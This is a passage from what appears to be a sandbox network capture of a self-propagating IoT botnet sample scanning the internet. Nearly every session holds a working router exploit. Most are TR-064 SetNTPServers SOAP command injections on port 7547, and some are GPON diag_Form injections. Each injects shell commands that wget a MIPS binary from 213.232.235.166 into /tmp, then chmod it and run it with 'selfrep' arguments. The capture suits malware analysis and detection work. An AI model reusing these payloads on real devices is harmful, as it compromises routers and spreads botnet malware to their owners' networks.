Apr 15, 2024 08:53:51.018248081 CEST	1289	IN	Data Raw: 20 63 6c 61 73 73 3d 22 74 69 6d 65 20 66 72 22 3e 32 30 32 33 2d 30 35 2d 31 39 20 20 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 3c 2f 6c 69 3e 0a 09 09 09 09 09 09 09 20 20 09 09 09 09 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 69 74 65 Data Ascii: class="time fr">2023-05-19 </span></li> <li class="item clearfix"><a href="http://www.gzrmcbs.com/xinshu/3559.html" class="title fl" target="_blank"> \|

Session ID	Source IP	Source Port	Destination IP	Destination Port
1287	192.168.2.13	36834	58.146.66.66	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.749342918 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.026642084 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1288	192.168.2.13	57276	175.208.35.1	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.757294893 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1289	192.168.2.13	55104	175.243.85.101	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.769767046 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1290	192.168.2.13	41024	183.124.218.211	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.770464897 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.080563068 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:53:49 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1291	192.168.2.13	38822	115.10.27.48	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.770957947 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1292	192.168.2.13	52718	186.7.123.8	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.788733006 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1293	192.168.2.13	50982	176.124.195.182	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.797996998 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.162764072 CEST	382	IN	HTTP/1.1 404 Not Found Date: Mon, 15 Apr 2024 09:54:32 GMT Server: webserver X-Frame-Options: SAMEORIGIN Content-Length: 194 Content-Type: text/html Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 47 70 6f 6e 46 6f 72 6d 2f 64 69 61 67 5f 46 6f 72 6d 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /GponForm/diag_Form</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1294	192.168.2.13	41338	216.118.152.111	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.802959919 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1295	192.168.2.13	34566	163.191.29.247	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.905586958 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.560364962 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:51.840384007 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1296	192.168.2.13	47990	105.101.111.233	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.920552969 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1297	192.168.2.13	43918	49.207.178.58	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.923280954 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.279809952 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 12:23:49 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1298	192.168.2.13	38372	181.118.9.24	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.937021971 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1299	192.168.2.13	41076	184.24.198.149	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:49.973040104 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.292690039 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:53:50 GMT Date: Mon, 15 Apr 2024 06:53:50 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 65 31 36 31 35 30 32 26 23 34 36 3b 31 37 31 33 31 36 34 30 33 30 26 23 34 36 3b 33 38 35 63 37 34 32 30 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 65 31 36 31 35 30 32 26 23 34 36 3b 31 37 31 33 31 36 34 30 33 30 26 23 34 36 3b 33 38 35 63 37 34 32 30 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5e161502.1713164030.385c7420<P>https://errors.edgesuite.net/9.5e161502.1713164030.385c7420</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1300	192.168.2.13	36858	58.146.66.66	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.031138897 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.313643932 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1301	192.168.2.13	57300	175.208.35.1	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.045725107 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1302	192.168.2.13	55128	175.243.85.101	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.068223000 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1303	192.168.2.13	41534	216.118.152.111	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.068737030 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1304	192.168.2.13	38846	115.10.27.48	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.070214987 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1305	192.168.2.13	41048	183.124.218.211	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.071650982 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:50.382354975 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:53:50 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1306	192.168.2.13	48014	105.101.111.233	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.306510925 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1307	192.168.2.13	38400	181.118.9.24	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.311553955 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1308	192.168.2.13	33556	46.105.160.73	80

Timestamp	Bytes transferred	Direction	Data
